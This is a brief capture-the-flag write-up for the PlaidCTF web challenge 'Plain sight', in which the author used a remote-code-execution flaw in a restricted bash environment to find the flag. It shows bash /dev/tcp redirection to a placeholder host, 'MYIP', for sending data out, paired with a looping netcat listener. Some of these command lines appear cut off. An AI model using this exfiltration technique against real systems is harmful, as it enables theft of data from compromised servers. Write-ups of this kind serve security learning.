The Plaid Parliament of Pwning organized their own Capture-the-Flag (CtF) contest this past weekend. It was an excellent CtF with about 36 challenges ranging from trivia, exploitation, reverse engineering, web exploitation, cryptography, and forensics.

My writeup for #16 – Plain sight [200 pts] web

The problem was

The time to strike is now! This fiendish AED employee decided to hide secret data on this website (
It seems that the employee was in the middle of creating the website when our operatives stumbled upon it.
The good news is that there are surely bugs in the development version of this problem, the bad news is currently no feedback printed to users.
Some of our leet operatives have determined a little bit about the machine: it runs in a read-only environment with only
bash cat dc expand grep hd head id less ls more nl od pr rev sh sleep sort sum tail tar tr true tsort ul wc yes

Find what AED is hiding, good luck and godspeed.

There was a URL that allowed remote code execution.
bash, cat, less, more, ls were allowed.

First thing I did was checked if the bash TCP connections were allowed using:>/dev/tcp/MYIP/5000

That seemed to work. So then I listed the directories one by one until I bumped onto:
I used>/dev/tcp/MYIP/5000 I had the port forwarded to my PC and a netcat listener running in a loop
while [ 1 ]
nc -l -v -p 5000

The answer was esc4p3_str1ng5.

Fun times!